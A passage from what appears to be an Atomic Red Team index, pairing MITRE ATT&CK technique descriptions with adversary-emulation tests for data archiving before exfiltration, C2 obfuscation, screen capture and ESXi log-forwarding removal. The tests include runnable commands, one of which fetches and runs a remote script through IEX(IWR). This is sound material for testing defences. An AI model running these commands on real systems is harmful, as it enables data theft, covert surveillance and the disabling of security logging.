      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1102.001
        url: https://attack.mitre.org/techniques/T1102/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Dead Drop Resolver
      description: |-
        Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

        Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

        Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. User behavior monitoring
        may help to detect abnormal patterns of activity.(Citation: University of
        Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1001.001:
    technique:
      modified: '2024-02-02T20:10:01.862Z'
      name: Junk Data
      description: 'Adversaries may add junk data to protocols used for command and
        control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor
        December 2020) By adding random or meaningless data to the protocols used
        for command and control, adversaries can prevent trivial methods for decoding,
        deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending
        data with junk characters or writing junk characters between significant characters. '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade
      created: '2020-03-15T00:30:25.444Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1001/001
        external_id: T1001.001
      - source_name: FireEye SUNBURST Backdoor December 2020
        description: FireEye. (2020, December 13). Highly Evasive Attacker Leverages
          SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST
          Backdoor. Retrieved January 4, 2021.
        url: https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
collection:
  T1560.001:
    technique:
      modified: '2023-09-15T19:02:53.995Z'
      name: 'Archive Collected Data: Archive via Utility'
      description: "Adversaries may use utilities to compress and/or encrypt collected
        data prior to exfiltration. Many utilities include functionalities to compress,
        encrypt, or otherwise package data into a format that is easier/more secure
        to transport.\n\nAdversaries may abuse various utilities to compress or encrypt
        data before exfiltration. Some third party utilities may be preinstalled,
        such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows
        systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may
        be used to package collected files into a cabinet (.cab) file. <code>diantz</code>
        may also be used to download and compress files from remote locations (i.e.
        [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation:
        diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories
        with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160)
        to Base64 encode collected data before exfiltration. \n\nAdversaries may use
        also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform
        similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation:
        WinZip Homepage)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Mayan Arora aka Mayan Mohan
      - Mark Wee
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.

        Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662
      created: '2020-02-20T21:01:25.428Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1560/001
        external_id: T1560.001
      - source_name: WinRAR Homepage
        description: A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.
        url: https://www.rarlab.com/
      - source_name: WinZip Homepage
        description: Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.
        url: https://www.winzip.com/win/en/
      - source_name: 7zip Homepage
        description: I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.
        url: https://www.7-zip.org/
      - source_name: diantz.exe_lolbas
        description: Living Off The Land Binaries, Scripts and Libraries (LOLBAS).
          (n.d.). Diantz.exe. Retrieved October 25, 2021.
        url: https://lolbas-project.github.io/lolbas/Binaries/Diantz/
      - source_name: Wikipedia File Header Signatures
        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
          April 22, 2016.
        url: https://en.wikipedia.org/wiki/List_of_file_signatures
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1560.001
    atomic_tests:
    - name: Compress Data for Exfiltration With Rar
      auto_generated_guid: 02ea31cb-3b4c-4a2d-9bf1-e4e70ebcf5d0
      description: "An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration.\nWhen the test completes you should find
        the txt files from the %USERPROFILE% directory compressed in a file called
        T1560.001-data.rar in the %USERPROFILE% directory \n"
      supported_platforms:
      - windows
      input_arguments:
        input_path:
          description: Path that should be compressed into our output file
          type: path
          default: "%USERPROFILE%"
        file_extension:
          description: Extension of files to compress
          type: string
          default: ".txt"
        output_file:
          description: Path where resulting compressed data should be placed
          type: path
          default: "%USERPROFILE%\\T1560.001-data.rar"
        rar_installer:
          description: Winrar installer
          type: path
          default: "%TEMP%\\winrar.exe"
        rar_exe:
          description: The RAR executable from Winrar
          type: path
          default: "%programfiles%/WinRAR/Rar.exe"
      dependencies:
      - description: 'Rar tool must be installed at specified location (#{rar_exe})

          '
        prereq_command: 'if not exist "#{rar_exe}" (exit /b 1)

          '
        get_prereq_command: |
          echo Downloading Winrar installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer}
          #{rar_installer} /S
      executor:
        name: command_prompt
        elevation_required: false
        command: '"#{rar_exe}" a -r #{output_file} #{input_path}\*#{file_extension}

          '
        cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1

          '
    - name: Compress Data and lock with password for Exfiltration with winrar
      auto_generated_guid: 8dd61a55-44c6-43cc-af0c-8bdda276860c
      description: |
        Note: Requires winrar installation
        rar a -p"blue" hello.rar (VARIANT)
      supported_platforms:
      - windows
      input_arguments:
        rar_installer:
          description: Winrar installer
          type: path
          default: "%TEMP%\\winrar.exe"
        rar_exe:
          description: The RAR executable from Winrar
          type: path
          default: "%programfiles%/WinRAR/Rar.exe"
      dependencies:
      - description: 'Rar tool must be installed at specified location (#{rar_exe})

          '
        prereq_command: 'if not exist "#{rar_exe}" (exit /b 1)

          '
        get_prereq_command: |
          echo Downloading Winrar installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer}
          #{rar_installer} /S
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          mkdir .\tmp\victim-files
          cd .\tmp\victim-files
          echo "This file will be encrypted" > .\encrypted_file.txt
          "#{rar_exe}" a -hp"blue" hello.rar
          dir
    - name: Compress Data and lock with password for Exfiltration with winzip
      auto_generated_guid: 01df0353-d531-408d-a0c5-3161bf822134
      description: |
        Note: Requires winzip installation
        wzzip sample.zip -s"blueblue" *.txt (VARIANT)
      supported_platforms:
      - windows
      input_arguments:
        winzip_exe:
          description: Path to installed Winzip executable
          type: path
          default: "%ProgramFiles%\\WinZip\\winzip64.exe"
        winzip_url:
          description: Path to download Windows Credential Editor zip file
          type: url
          default: https://download.winzip.com/gl/nkln/winzip24-home.exe
        winzip_hash:
          description: File hash of the Windows Credential Editor zip file
          type: string
          default: B59DB592B924E963C21DA8709417AC0504F6158CFCB12FE5536F4A0E0D57D7FB
      dependency_executor_name: powershell
      dependencies:
      - description: 'Winzip must be installed

          '
        prereq_command: 'cmd /c ''if not exist "#{winzip_exe}" (echo 1) else (echo
          0)''

          '
        get_prereq_command: |
          IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          if(Invoke-WebRequestVerifyHash "#{winzip_url}" "PathToAtomicsFolder\..\ExternalPayloads\winzip.exe" #{winzip_hash}){
            Write-Host Follow the installation prompts to continue
            cmd /c "PathToAtomicsFolder\..\ExternalPayloads\winzip.exe"
          }
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          path=%path%;"C:\Program Files (x86)\winzip"
          mkdir .\tmp\victim-files
          cd .\tmp\victim-files
          echo "This file will be encrypted" > .\encrypted_file.txt
          "#{winzip_exe}" -min -a -s"hello" archive.zip *
          dir
    - name: Compress Data and lock with password for Exfiltration with 7zip
      auto_generated_guid: d1334303-59cb-4a03-8313-b3e24d02c198
      description: 'Note: This test requires 7zip installation

        '
      supported_platforms:
      - windows
      input_arguments:
        7zip_installer:
          description: 7zip installer
          type: path
          default: "%TEMP%\\7zip.exe"
        7zip_exe:
          description: Path to installed 7zip executable
          type: path
          default: "%ProgramFiles%\\7-zip\\7z.exe"
      dependencies:
      - description: '7zip tool must be installed at specified location (#{7zip_exe})

          '
        prereq_command: 'if not exist "#{7zip_exe}" (exit /b 1)

          '
        get_prereq_command: |
          echo Downloading 7-zip installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.7-zip.org/a/7z2301-x64.exe" #{7zip_installer}
          #{7zip_installer} /S
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          mkdir $PathToAtomicsFolder\T1560.001\victim-files
          cd $PathToAtomicsFolder\T1560.001\victim-files
          echo "This file will be encrypted" > .\encrypted_file.txt
          "#{7zip_exe}" u archive.7z *txt -pblue
          dir
        cleanup_command: 'rmdir /s /Q $PathToAtomicsFolder\T1560.001\victim-files
          >nul 2>&1

          '
    - name: Data Compressed - nix - zip
      auto_generated_guid: c51cec55-28dd-4ad2-9461-1eacbc82c3a0
      description: 'An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration. This test uses standard zip compression.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_files:
          description: Path that should be compressed into our output file, may include
            wildcards
          type: path
          default: "/var/log/{w,b}tmp"
        output_file:
          description: Path that should be output as a zip archive
          type: path
          default: "$HOME/data.zip"
      dependencies:
      - description: 'Files to zip must exist (#{input_files})

          '
        prereq_command: 'if [ $(ls #{input_files} | wc -l) > 0 ] && [ -x $(which zip)
          ] ; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          (which yum && yum -y install epel-release zip)||(which apt-get && apt-get install -y zip)
          echo Please set input_files argument to include files that exist
      executor:
        name: sh
        elevation_required: false
        command: 'zip #{output_file} #{input_files}

          '
        cleanup_command: 'rm -f #{output_file}

          '
    - name: Data Compressed - nix - gzip Single File
      auto_generated_guid: cde3c2af-3485-49eb-9c1f-0ed60e9cc0af
      description: 'An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration. This test uses standard gzip compression.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: Path that should be compressed
          type: path
          default: "$HOME/victim-gzip.txt"
        input_content:
          description: contents of compressed files if file does not already exist.
            default contains test credit card and social security number
          type: string
          default: 'confidential! SSN: 078-05-1120 - CCN: 4000 1234 5678 9101'
      executor:
        name: sh
        elevation_required: false
        command: 'test -e #{input_file} && gzip -k #{input_file} || (echo ''#{input_content}''
          >> #{input_file}; gzip -k #{input_file})

          '
        cleanup_command: 'rm -f #{input_file}.gz

          '
    - name: Data Compressed - nix - tar Folder or File
      auto_generated_guid: 7af2b51e-ad1c-498c-aca8-d3290c19535a
      description: 'An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration. This test uses standard gzip compression.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file_folder:
          description: Path that should be compressed
          type: path
          default: "$HOME/$USERNAME"
        output_file:
          description: File that should be output
          type: path
          default: "$HOME/data.tar.gz"
      dependencies:
      - description: 'Folder to zip must exist (#{input_file_folder})

          '
        prereq_command: 'test -e #{input_file_folder}

          '
        get_prereq_command: 'mkdir -p #{input_file_folder} && touch #{input_file_folder}/file1

          '
      executor:
        name: sh
        elevation_required: false
        command: 'tar -cvzf #{output_file} #{input_file_folder}

          '
        cleanup_command: 'rm -f #{output_file}

          '
    - name: Data Encrypted with zip and gpg symmetric
      auto_generated_guid: '0286eb44-e7ce-41a0-b109-3da516e05a5f'
      description: 'Encrypt data for exiltration

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        test_folder:
          description: Path used to store files.
          type: path
          default: "/tmp/T1560"
        test_file:
          description: Temp file used to store encrypted data.
          type: path
          default: T1560
        encryption_password:
          description: Password used to encrypt data.
          type: string
          default: InsertPasswordHere
      dependency_executor_name: sh
      dependencies:
      - description: gpg and zip are required to run the test.
        prereq_command: 'if [ ! -x "$(command -v gpg)" ] || [ ! -x "$(command -v zip)"
          ]; then exit 1; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y gnupg zip)||(which yum &&
          yum -y install epel-release zip gpg)||(which apt-get && apt-get install
          -y zip gpg)\n"
      executor:
        name: sh
        elevation_required: false
        command: |
          mkdir -p #{test_folder}
          cd #{test_folder}; touch a b c d e f g
          zip --password "#{encryption_password}" #{test_folder}/#{test_file} ./*
          echo "#{encryption_password}" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip
          ls -l #{test_folder}
        cleanup_command: 'rm -Rf #{test_folder}

          '
    - name: Encrypts collected data with AES-256 and Base64
      auto_generated_guid: a743e3a6-e8b2-4a30-abe7-ca85d201b5d3
      description: "An adversary may compress all the collected data, encrypt and
        send them to a C2 server using base64 encoding. \nThis atomic test tries to
        emulate the behaviour of the FLEXIROOT backdoor to archive the collected data.
        FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer
        the encrypted data to the C2 server. \nIn this test, standard zip compression
        and the OpenSSL library are used to encrypt the compressed data.\nhttps://attack.mitre.org/versions/v7/software/S0267/"
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_folder:
          description: Path to the folder used to store the test files
          type: path
          default: "/tmp/t1560"
        input_file:
          description: Name of the compressed and encrypted files
          type: string
          default: t1560_data
        enc_pass:
          description: Password used to encrypt the data
          type: string
          default: atomic_enc_pass
      dependency_executor_name: bash
      dependencies:
      - description: The folder and test files must exist
        prereq_command: 'if [ ! -d #{input_folder} ]; then exit 1; else exit 0; fi;'
        get_prereq_command: 'if [ ! -d #{input_folder} ]; then mkdir -p #{input_folder};
          cd #{input_folder}; touch {a..z}.data; fi;'
      executor:
        command: "zip -r  #{input_folder}/#{input_file}.zip #{input_folder}\nopenssl
          enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip
          -out #{input_folder}/#{input_file}.enc \ncat #{input_folder}/#{input_file}.enc
          | base64"
        cleanup_command: 'rm -rf #{input_folder}'
        name: bash
        elevation_required: false
    - name: ESXi - Remove Syslog remote IP
      auto_generated_guid: 36c62584-d360-41d6-886f-d194654be7c2
      description: 'An adversary may edit the syslog config to remove the loghost
        in order to prevent or redirect logs being received by SIEM.

        '
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        plink_file:
          description: Path to Putty
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        username:
          description: Username used to log into ESXi
          type: string
          default: root
        password:
          description: password used to log into ESXI
          type: string
          default: n/a
      dependency_executor_name: powershell
      dependencies:
      - description: 'The plink executable must be found in the ExternalPayloads folder.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: "# Extract line with IP address from the syslog configuration output\n#{plink_file}
          -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\\..\\atomics\\T1560.001\\src\\esxi_get_loghost.txt
          | findstr /r \"[0-9]*\\.[0-9]*\\.[0-9]*\\.\" > c:\\temp\\loghost.txt\n\n#
          Replace the IP with \"0\"\n#{plink_file} -ssh #{vm_host} -l #{username}
          -pw #{password} -m PathToAtomicsFolder\\..\\atomics\\T1560.001\\src\\esxi_remove_loghost.txt\n\n#
          Extract the IP from the line extracted from findstr\n$inputFilePath = \"c:\\temp\\loghost.txt\"\n$outputFilePath
          = \"c:\\temp\\loghost_ip.txt\"\n\n$fileContent = Get-Content -Path $inputFilePath
          -Raw\n\nif ([string]::IsNullOrWhiteSpace($fileContent)) {\n    Write-Host
          \"The content is $fileContent\"\n    Write-Host \"The file is empty\"\n}
          else {\n    # Use a regular expression to extract IP addresses\n    $ipAddresses
          = [regex]::Matches($fileContent, '(udp|tcp):\\/\\/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.*').Value\n
          \   \n    $output = \"esxcli system syslog config set --loghost=\" + $ipAddresses\n\n
          \   $output | Out-File -FilePath $outputFilePath -Encoding ascii\n    \n
          \   Write-Host \"IP addresses extracted and saved to $outputFilePath\"\n}\n"
        cleanup_command: |
          # Re-add the initially extracted IP
          #{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m c:\temp\loghost_ip.txt

          rm c:\temp\loghost_ip.txt
          rm c:\temp\loghost.txt
        name: powershell
        elevation_required: true
  T1113:
    technique:
      modified: '2023-03-30T21:01:39.967Z'
      name: Screen Capture
      description: 'Adversaries may attempt to take screen captures of the desktop
        to gather information over the course of an operation. Screen capturing functionality
        may be included as a feature of a remote access tool used in post-compromise
        operations. Taking a screenshot is also typically possible through native
        utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>,
        or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated
        Mac Malware)

        '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: Monitoring for screen capture behavior will depend on the
        method used to obtain data from the operating system and write output files.
        Detection methods could include collecting information from unusual processes
        using API calls used to obtain image data, and monitoring for image files
        written to disk. The sensor data may need to be correlated with other events
        to identify malicious activity, depending on the legitimacy of this behavior
        within a given network environment.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      type: attack-pattern
      id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688
      created: '2017-05-31T21:31:25.060Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1113
        external_id: T1113
      - source_name: CopyFromScreen .NET
        description: Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved
          March 24, 2020.
        url: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8
      - source_name: Antiquated Mac Malware
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      identifier: T1113
    atomic_tests:
    - name: Screencapture
      auto_generated_guid: 0f47ceb1-720f-4275-96b8-21f0562217ac
      description: 'Use screencapture command to collect a full desktop screenshot

        '
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: "/tmp/T1113_desktop.png"
      executor:
        command: 'screencapture #{output_file}

          '
        cleanup_command: 'rm #{output_file}

          '
        name: bash
    - name: Screencapture (silent)
      auto_generated_guid: deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4
      description: 'Use screencapture command to collect a full desktop screenshot

        '
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: "/tmp/T1113_desktop.png"
      executor:
        command: 'screencapture -x #{output_file}

          '
        cleanup_command: 'rm #{output_file}

          '
        name: bash
    - name: X Windows Capture
      auto_generated_guid: 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac
      description: 'Use xwd command to collect a full desktop screenshot and review
        file with xwud

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: "/tmp/T1113_desktop.xwd"
        package_checker:
          description: Package checking command for linux. Debian system command-
            dpkg -s x11-apps
          type: string
          default: rpm -q xorg-x11-apps
        package_installer:
          description: Package installer command for linux. Debian system command-
            apt-get install x11-apps
          type: string
          default: yum install -y xorg-x11-apps
      dependency_executor_name: bash
      dependencies:
      - description: 'Package with XWD and XWUD must exist on device

          '
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

          '
        get_prereq_command: "sudo #{package_installer} \n"
      executor:
        command: |
          xwd -root -out #{output_file}
          xwud -in #{output_file}
        cleanup_command: 'rm #{output_file}

          '
        name: bash
    - name: X Windows Capture (freebsd)
      auto_generated_guid: 562f3bc2-74e8-46c5-95c7-0e01f9ccc65c
      description: 'Use xwd command to collect a full desktop screenshot and review
        file with xwud

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: "/tmp/T1113_desktop.xwd"
      dependency_executor_name: sh
      dependencies:
      - description: 'Package with XWD and XWUD must exist on device

          '
        prereq_command: |
          if [ -x "$(command -v xwd)" ]; then exit 0; else exit 1; fi
          if [ -x "$(command -v xwud)" ]; then exit 0; else exit 1; fi
        get_prereq_command: "pkg install -y xwd xwud \n"
      executor:
        command: |
          xwd -root -out #{output_file}
          xwud -in #{output_file}
        cleanup_command: 'rm #{output_file}

          '
        name: sh
    - name: Capture Linux Desktop using Import Tool
      auto_generated_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1
      description: 'Use import command from ImageMagick to collect a full desktop
        screenshot

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: "/tmp/T1113_desktop.png"
      dependencies:
      - description: 'ImageMagick must be installed

          '
        prereq_command: 'if import -help > /dev/null 2>&1; then exit 0; else exit
          1; fi

          '
        get_prereq_command: 'sudo apt install graphicsmagick-imagemagick-compat

          '
      executor:
        command: 'import -window root #{output_file}

          '
        cleanup_command: 'rm #{output_file}

          '
        name: bash
    - name: Capture Linux Desktop using Import Tool (freebsd)
      auto_generated_guid: 18397d87-38aa-4443-a098-8a48a8ca5d8d
      description: 'Use import command from ImageMagick to collect a full desktop
        screenshot

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: "/tmp/T1113_desktop.png"
      dependencies:
      - description: 'ImageMagick must be installed

          '
        prereq_command: 'if import -help > /dev/null 2>&1; then exit 0; else exit
          1; fi

          '
        get_prereq_command: 'pkg install -y ImageMagick7

          '
      executor:
        command: 'import -window root #{output_file}

          '
        cleanup_command: 'rm #{output_file}

          '
        name: sh
    - name: Windows Screencapture
      auto_generated_guid: 3c898f62-626c-47d5-aad2-6de873d69153
      description: 'Use Psr.exe binary to collect screenshots of user display. Test
        will do left mouse click to simulate user behaviour

        '
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Output file path
          type: path
          default: c:\temp\T1113_desktop.zip
        recording_time:
          description: Time to take screenshots
          type: integer
          default: 5
      executor:
        name: powershell
        elevation_required: false
        command: |
          cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12
          Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;
          [W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);
          cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"
        cleanup_command: 'rm #{output_file} -ErrorAction Ignore

          '
    - name: Windows Screen Capture (CopyFromScreen)
      auto_generated_guid: e9313014-985a-48ef-80d9-cde604ffc187
      description: |
        Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.

        [Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "$env:TEMP\\T1113.png"
      executor:
        command: |
          Add-Type -AssemblyName System.Windows.Forms
          $screen = [Windows.Forms.SystemInformation]::VirtualScreen
          $bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height
          $graphic = [Drawing.Graphics]::FromImage($bitmap)
          $graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)
          $bitmap.Save("#{output_file}")
        cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore

          '
        name: powershell
    - name: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted
      auto_generated_guid: 5a496325-0115-4274-8eb9-755b649ad0fb
      description: "Detects the enabling of the Windows Recall feature via registry
        manipulation. Windows Recall can be enabled by deleting the existing \"DisableAIDataAnalysis\"
        registry value. Adversaries may enable Windows Recall as part of post-exploitation
        discovery and collection activities. This rule assumes that Recall is already
        explicitly disabled on the host, and subsequently enabled by the adversary.
        \n- https://learn.microsoft.com/en-us/windows/client-management/manage-recall\n-
        https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f
          reg delete "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /f
        cleanup_command: 'reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"
          /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f

          '
        name: powershell
        elevation_required: true
  T1557:
    technique:
      modified: '2024-04-18T14:26:21.852Z'
      name: Adversary-in-the-Middle
      description: |-
